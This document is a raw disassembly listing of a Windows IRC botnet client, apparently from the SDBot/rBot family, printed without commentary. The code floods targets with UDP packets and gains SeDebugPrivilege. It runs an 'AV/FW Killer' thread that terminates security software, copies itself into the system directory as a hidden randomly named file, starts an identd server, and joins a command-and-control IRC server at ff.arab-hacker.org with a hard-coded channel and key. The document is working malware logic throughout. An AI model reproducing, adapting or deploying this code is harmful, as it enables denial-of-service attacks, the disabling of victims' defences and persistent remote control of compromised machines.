loc_40878D:				; CODE XREF: sub_408633+13Ej
					; sub_408633+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_4087EC
		push	0Bh
		pop	esi


loc_40879A:				; CODE XREF: sub_408633+197j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_42EC14	; sendto
		push	[ebp+var_28]
		call	ds:dword_41B048	; Sleep
		dec	esi
		jnz	short loc_40879A
		cmp	[ebp+var_24], edi
		jnz	short loc_40878D
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_42EBB4	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_40878D
; ---------------------------------------------------------------------------


loc_4087EC:				; CODE XREF: sub_408633+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40882C
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_405E64
		add	esp, 14h


loc_40882C:				; CODE XREF: sub_408633+1D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_20]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread
sub_408633	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408849	proc near		; CODE XREF: sub_407228+7p
					; sub_4088B4+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_41B100	; GetCurrentProcess
		push	eax
		call	dword_42EB98	; OpenProcessToken
		test	eax, eax
		jnz	short loc_408868
		leave
		retn
; ---------------------------------------------------------------------------


loc_408868:				; CODE XREF: sub_408849+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_42EB74	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4088A6
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_40888F
		or	[ebp+var_8], 2
		jmp	short loc_408893
; ---------------------------------------------------------------------------


loc_40888F:				; CODE XREF: sub_408849+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_408893:				; CODE XREF: sub_408849+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_42EC1C	; AdjustTokenPrivileges
		mov	esi, eax


loc_4088A6:				; CODE XREF: sub_408849+32j
		push	[ebp+var_4]
		call	ds:dword_41B050	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408849	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4088B4(int,char *Str,int,char	*Str2,int,int)

sub_4088B4	proc near		; CODE XREF: sub_408AE3+74p
					; sub_408BF8+Ap ...

Dest		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
Str1		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str2		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_42EBD4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_408AB3
		cmp	dword_42EBB8, ebx
		jz	loc_408AB3
		cmp	dword_42EAE4, ebx
		jz	loc_408AB3
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_408849
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_42EBD4	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_408AA6
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_42EBB8	; Process32First
		mov	esi, ds:dword_41B050
		test	eax, eax
		jz	loc_408AA1
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_42EAE4	; Process32Next
		test	eax, eax
		jz	loc_408AA1
		mov	edi, ds:dword_41B10C
		mov	ebx, 1F0FFFh


loc_408978:				; CODE XREF: sub_4088B4+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4089DF
		mov	[ebp+var_4], offset off_421F08


loc_408986:				; CODE XREF: sub_4088B4+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+Str1]
		push	eax
		call	ds:dword_41B108	; lstrcmpi
		test	eax, eax
		jz	short loc_4089AE
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
		jl	short loc_408986
		jmp	loc_408A87
; ---------------------------------------------------------------------------


loc_4089AE:				; CODE XREF: sub_4088B4+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_408A87
		push	0
		push	eax
		call	ds:dword_41B104	; TerminateProcess
		test	eax, eax
		jnz	loc_408A87


loc_4089D5:				; CODE XREF: sub_4088B4+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_408A87
; ---------------------------------------------------------------------------


loc_4089DF:				; CODE XREF: sub_4088B4+C9j
		cmp	[ebp+Str2], eax
		jnz	loc_408A72
		cmp	[ebp+Str], eax
		jz	loc_408A87
		push	[ebp+var_128]
		push	8
		call	dword_42EBD4	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_408A32
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_42EA94	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_408A38
		lea	eax, [ebp+var_234]
		jmp	short loc_408A3E
; ---------------------------------------------------------------------------


loc_408A32:				; CODE XREF: sub_4088B4+15Cj
		push	[ebp+var_128]


loc_408A38:				; CODE XREF: sub_4088B4+174j
		lea	eax, [ebp+Str1]


loc_408A3E:				; CODE XREF: sub_4088B4+17Cj
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSD_0	; " %s (%d)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	1		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h
		jmp	loc_4089D5
; ---------------------------------------------------------------------------


loc_408A72:				; CODE XREF: sub_4088B4+12Ej
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408ABA


loc_408A87:				; CODE XREF: sub_4088B4+F5j
					; sub_4088B4+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_42EAE4	; Process32Next
		test	eax, eax
		jnz	loc_408978
		xor	ebx, ebx


loc_408AA1:				; CODE XREF: sub_4088B4+9Dj
					; sub_4088B4+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_408AA6:				; CODE XREF: sub_4088B4+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_408849
		pop	ecx
		pop	ecx


loc_408AB3:				; CODE XREF: sub_4088B4+3Aj
					; sub_4088B4+46j ...
		xor	eax, eax


loc_408AB5:				; CODE XREF: sub_4088B4+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408ABA:				; CODE XREF: sub_4088B4+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_41B104	; TerminateProcess
		test	eax, eax
		jnz	short loc_408ADE
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_408AB3
; ---------------------------------------------------------------------------


loc_408ADE:				; CODE XREF: sub_4088B4+223j
		push	1
		pop	eax
		jmp	short loc_408AB5
sub_4088B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AE3	proc near		; DATA XREF: sub_409557+4BE0o

Dest		= byte ptr -298h
var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset aProcListingPro ; "[PROC]: Listing processes:"
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_408B42
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_405E64
		add	esp, 14h


loc_408B42:				; CODE XREF: sub_408AE3+3Dj
		push	[ebp+var_10]	; int
		lea	eax, [ebp+Str]
		push	esi		; int
		push	esi		; Str2
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_4088B4
		add	esp, 18h
		test	eax, eax
		jnz	short loc_408B6A
		push	offset aProcProcessLis ; "[PROC]: Process list completed."
		jmp	short loc_408B6F
; ---------------------------------------------------------------------------


loc_408B6A:				; CODE XREF: sub_408AE3+7Ej
		push	offset aProcProcessL_0 ; "[PROC]: Process list failed."


loc_408B6F:				; CODE XREF: sub_408AE3+85j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_408BA2
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_405E64
		add	esp, 14h


loc_408BA2:				; CODE XREF: sub_408AE3+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_14]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_408AE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408BC1	proc near		; CODE XREF: sub_409557+3EA9p
					; sub_411D75+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_41B10C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_408BF3
		push	0
		push	esi
		call	ds:dword_41B104	; TerminateProcess
		test	eax, eax
		jnz	short loc_408BF3
		push	esi
		xor	edi, edi
		call	ds:dword_41B050	; CloseHandle


loc_408BF3:				; CODE XREF: sub_408BC1+1Aj
					; sub_408BC1+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_408BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_408BF8	proc near		; DATA XREF: WinMain(x,x,x,x)+3CAo
		push	esi
		xor	esi, esi


loc_408BFB:				; CODE XREF: sub_408BF8+1Ej
		push	1		; int
		push	esi		; int
		push	esi		; Str2
		push	esi		; int
		push	esi		; Str
		push	esi		; int
		call	sub_4088B4
		add	esp, 18h
		push	dword_421F04
		call	ds:dword_41B048	; Sleep
		jmp	short loc_408BFB
sub_408BF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+C9p

var_99C		= dword	ptr -99Ch
var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
Ext		= byte ptr -6F8h
Filename	= byte ptr -5F8h
Str		= byte ptr -4F8h
SubStr		= byte ptr -3F4h
FullPath	= byte ptr -2F0h
Dest		= byte ptr -1ECh
var_E8		= dword	ptr -0E8h
var_DC		= dword	ptr -0DCh
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
Source		= byte ptr -0A4h
Dst		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], offset sub_403DCB
		push	[ebp+var_C]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_41B078
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4750D0, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		call	sub_405EFF
		push	2
		call	dword_42EC5C	; SetErrorMode
		push	7530h
		push	offset aFenr	; "FEnR"
		push	ebx
		push	ebx
		call	ds:dword_41B120	; CreateMutexA
		push	eax
		call	ds:dword_41B11C	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_408C98
		push	1
		call	ds:dword_41B090	; ExitProcess


loc_408C98:				; CODE XREF: WinMain(x,x,x,x)+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_42EB38	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	loc_40926E
		cmp	[ebp+var_888], 2
		jnz	loc_409268
		xor	eax, eax
		mov	al, [ebp+var_887]
		cmp	al, 2
		jnz	loc_409268
		mov	esi, 104h
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		call	ds:dword_41B098	; GetSystemDirectoryA
		lea	eax, [ebp+FullPath]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41B0CC	; GetModuleHandleA
		push	eax
		call	ds:dword_41B068	; GetModuleFileNameA
		lea	eax, [ebp+Ext]
		push	eax		; Ext
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+FullPath]
		push	ebx		; Drive
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Ext]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+FullPath]
		push	eax		; Str
		call	_strstr
		add	esp, 30h
		test	eax, eax
		jnz	loc_408F0D
		cmp	dword_424A58, ebx
		mov	esi, offset aGvujaleodq_exe ; "gvujaleodq.exe"
		jz	short loc_408D93
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		jz	short loc_408D93


loc_408D70:				; CODE XREF: WinMain(x,x,x,x)+179j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi		; Str
		add	dl, 61h
		mov	byte ptr aGvujaleodq_exe[edi], dl ; "gvujaleodq.exe"
		inc	edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_408D70


loc_408D93:				; CODE XREF: WinMain(x,x,x,x)+148j
					; WinMain(x,x,x,x)+156j
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSS_0	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_41B0A8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408DD3
		lea	eax, [ebp+Dest]
		push	80h
		push	eax
		call	ds:dword_41B000	; SetFileAttributesA


loc_408DD3:				; CODE XREF: WinMain(x,x,x,x)+1A7j
		mov	esi, ds:dword_41B118
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		xor	edi, edi
		push	eax


loc_408DEA:				; CODE XREF: WinMain(x,x,x,x)+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_408E23
		call	ds:dword_41B060	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_408E23
		cmp	eax, 20h
		jz	short loc_408E04
		cmp	eax, 5
		jnz	short loc_408E23


loc_408E04:				; CODE XREF: WinMain(x,x,x,x)+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_41B048	; Sleep
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		jmp	short loc_408DEA
; ---------------------------------------------------------------------------


loc_408E23:				; CODE XREF: WinMain(x,x,x,x)+1D6j
					; WinMain(x,x,x,x)+1E0j ...
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_407184
		pop	ecx
		lea	eax, [ebp+Dest]
		push	7
		push	eax
		call	ds:dword_41B000	; SetFileAttributesA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_E8]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_E8], esi
		mov	[ebp+var_DC], offset byte_428D64
		mov	[ebp+var_B8], bx
		push	1
		pop	esi
		mov	[ebp+var_BC], esi
		call	ds:dword_41B114	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_41B10C	; OpenProcess
		lea	ecx, [ebp+FullPath]
		push	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+SubStr]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_98C]
		push	ebx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_41B094	; CreateProcessA
		test	eax, eax
		jz	short loc_408F0D
		push	0C8h
		call	ds:dword_41B048	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_41B050
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_42EB20	; WSACleanup
		push	ebx
		call	ds:dword_41B090	; ExitProcess


loc_408F0D:				; CODE XREF: WinMain(x,x,x,x)+137j
					; WinMain(x,x,x,x)+2CBj
		cmp	dword_475540, 2
		jle	short loc_408F59
		mov	eax, dword_475544
		push	dword ptr [eax+4] ; Str
		call	_atoi
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_41B11C	; WaitForSingleObject
		push	esi
		call	ds:dword_41B050	; CloseHandle
		mov	eax, dword_475544
		cmp	[eax+8], ebx
		jz	short loc_408F59
		push	7D0h
		call	ds:dword_41B048	; Sleep
		mov	eax, dword_475544
		push	dword ptr [eax+8]
		call	ds:dword_41B110	; DeleteFileA


loc_408F59:				; CODE XREF: WinMain(x,x,x,x)+2FCj
					; WinMain(x,x,x,x)+326j
		cmp	dword_424A5C, ebx
		jz	short loc_408F76
		cmp	dword_42EC80, ebx
		jnz	short loc_408F76
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_402FA4
		pop	ecx


loc_408F76:				; CODE XREF: WinMain(x,x,x,x)+347j
					; WinMain(x,x,x,x)+34Fj
		lea	eax, [ebp+Source]
		push	offset aMainBotStarted ; "[MAIN]: Bot started."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	ebx		; int
		push	eax		; Source
		call	sub_411C3A
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		push	0B80h		; Size
		push	ebx		; Val
		push	offset Str1	; Dst
		call	_memset
		lea	eax, [ebp+Source]
		push	offset aProcsAvFwKille ; "[PROCS]: AV/FW Killer	active."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	1		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 38h
		mov	edi, eax
		mov	esi, ds:dword_41B064
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_408BF8
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_430554[edi], eax
		jnz	short loc_409016
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset aProcsFailedToS ; "[PROCS]: Failed to start AV/FW killer	t"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_409016:				; CODE XREF: WinMain(x,x,x,x)+3E1j
		lea	eax, [ebp+Source]
		push	eax		; Format
		call	sub_402D63
		lea	eax, [ebp+Source]
		mov	[esp+99Ch+var_99C], offset aSecureRegistry ; "[SECURE]:	Registry monitor active."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	1		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+Str]
		push	ebx
		push	eax
		push	offset sub_403014
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_430554[edi], eax
		jnz	short loc_409089
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start registry thre"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_409089:				; CODE XREF: WinMain(x,x,x,x)+454j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		push	2
		call	sub_411E82
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40910E
		lea	eax, [ebp+Source]
		push	offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	2		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	edi
		push	offset sub_405C73
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_430554[edi], eax
		jnz	short loc_409101
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_409101:				; CODE XREF: WinMain(x,x,x,x)+4CCj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		pop	ecx


loc_40910E:				; CODE XREF: WinMain(x,x,x,x)+488j
		call	_rand
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		push	7Fh		; Count
		push	offset aFf_arabHacker_ ; "ff.arab-hacker.org"
		push	offset byte_4750DC ; Dest
		mov	dword_475254, edx
		call	_strncpy
		mov	eax, dword_424A3C
		push	3Fh		; Count
		mov	edi, offset byte_47515C
		push	offset aFf	; "#ff"
		push	edi		; Dest
		mov	dword_47522C, eax
		call	_strncpy
		push	3Fh		; Count
		mov	esi, offset byte_47519C
		push	offset aFuckoff	; "fuckoff"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	dword_475230, ebx


loc_409168:				; CODE XREF: WinMain(x,x,x,x)+5F6j
					; WinMain(x,x,x,x)+601j ...
		mov	[ebp+var_4], ebx


loc_40916B:				; CODE XREF: WinMain(x,x,x,x)+5AAj
		cmp	dword_42EC98, ebx
		jnz	short loc_409189
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	dword_42EB08	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_409189
		push	7530h
		jmp	short loc_4091B5
; ---------------------------------------------------------------------------


loc_409189:				; CODE XREF: WinMain(x,x,x,x)+559j
					; WinMain(x,x,x,x)+568j
		push	offset dword_4750D8
		mov	dword_475250, ebx
		call	sub_409277
		cmp	eax, 2
		mov	[ebp+var_C], eax
		jz	loc_409263
		cmp	dword_475250, ebx
		jz	short loc_4091B0
		dec	[ebp+var_4]


loc_4091B0:				; CODE XREF: WinMain(x,x,x,x)+593j
		push	0BB8h


loc_4091B5:				; CODE XREF: WinMain(x,x,x,x)+56Fj
		call	ds:dword_41B048	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40916B
		cmp	[ebp+var_C], 2
		jz	loc_409263
		cmp	[ebp+var_10], ebx
		jz	short loc_409213
		push	7Fh		; Count
		push	offset aFf_arabHacker_ ; "ff.arab-hacker.org"
		push	offset byte_4750DC ; Dest
		call	_strncpy
		mov	eax, dword_424A3C
		push	3Fh		; Count
		push	offset aFf	; "#ff"
		push	edi		; Dest
		mov	dword_47522C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aFuckoff	; "fuckoff"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_10], ebx
		jmp	loc_409168
; ---------------------------------------------------------------------------


loc_409213:				; CODE XREF: WinMain(x,x,x,x)+5B9j
		cmp	byte_475244, bl
		jz	loc_409168
		push	7Fh		; Count
		push	offset byte_475244 ; Source
		push	offset byte_4750DC ; Dest
		call	_strncpy
		mov	eax, dword_424A40
		push	3Fh		; Count
		push	offset byte_475248 ; Source
		push	edi		; Dest
		mov	dword_47522C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset byte_47524C ; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_10], 1
		jmp	loc_409168
; ---------------------------------------------------------------------------


loc_409263:				; CODE XREF: WinMain(x,x,x,x)+587j
					; WinMain(x,x,x,x)+5B0j
		call	sub_411E03


loc_409268:				; CODE XREF: WinMain(x,x,x,x)+A4j
					; WinMain(x,x,x,x)+B4j
		call	dword_42EB20	; WSACleanup


loc_40926E:				; CODE XREF: WinMain(x,x,x,x)+97j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409277	proc near		; CODE XREF: WinMain(x,x,x,x)+57Cp
					; DATA XREF: sub_409557+3363o

var_190		= dword	ptr -190h
Args		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dest		= byte ptr -2Ch
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40929C:				; CODE XREF: sub_409277+E6j
					; sub_409277+136j ...
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_42EBB4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+Args]
		push	eax
		call	sub_4082EB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_4093C9
		push	1Ch		; Size
		lea	eax, [ebp+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	0		; Str1
		lea	eax, [ebp+Dest]
		push	dword_424A6C	; int
		push	dword_424A68	; int
		push	eax		; Dest
		call	sub_40FA38
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh		; Count
		add	eax, offset byte_430558
		push	edi		; Source
